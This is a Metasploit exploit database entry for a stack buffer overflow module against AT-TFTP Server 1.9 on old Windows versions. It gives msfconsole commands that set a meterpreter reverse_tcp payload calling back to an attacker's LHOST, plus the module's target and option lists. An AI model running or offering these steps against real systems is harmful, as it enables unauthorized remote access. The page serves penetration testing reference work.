Allied Telesyn TFTP Server 1.9 Long Filename Overflow | Metasploit Exploit Database (DB)

Allied Telesyn TFTP Server 1.9 Long Filename Overflow

This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a request (get/write) for an overly long file name.

Search Other Modules


Exploit Rank

  • Average

Exploit Authors

  • patrick < patrick [at] osisecurity.com.au >

Vulnerability References


Exploit Targets

  • 0 - Windows NT SP4 English
  • 1 - Windows 2000 SP0 English
  • 2 - Windows 2000 SP1 English
  • 3 - Windows 2000 SP2 English
  • 4 - Windows 2000 SP3 English
  • 5 - Windows 2000 SP4 English
  • 6 - Windows XP SP0/1 English
  • 7 - Windows XP SP2 English
  • 8 - Windows XP SP3 English
  • 9 - Windows Server 2003
  • 10 - Windows Server 2003 SP2

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/tftp/attftp_long_filename
msf exploit(attftp_long_filename) > show payloads
msf exploit(attftp_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(attftp_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(attftp_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(attftp_long_filename) > set RHOST [TARGET IP]
msf exploit(attftp_long_filename) > show targets
msf exploit(attftp_long_filename) > set TARGET [TARGET ID]
msf exploit(attftp_long_filename) > exploit


Exploit Module Options

LHOST The listen address
RHOST The target address
RPORT The target port (default: 69)
CHOST The local client address
CPORT The local client port
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session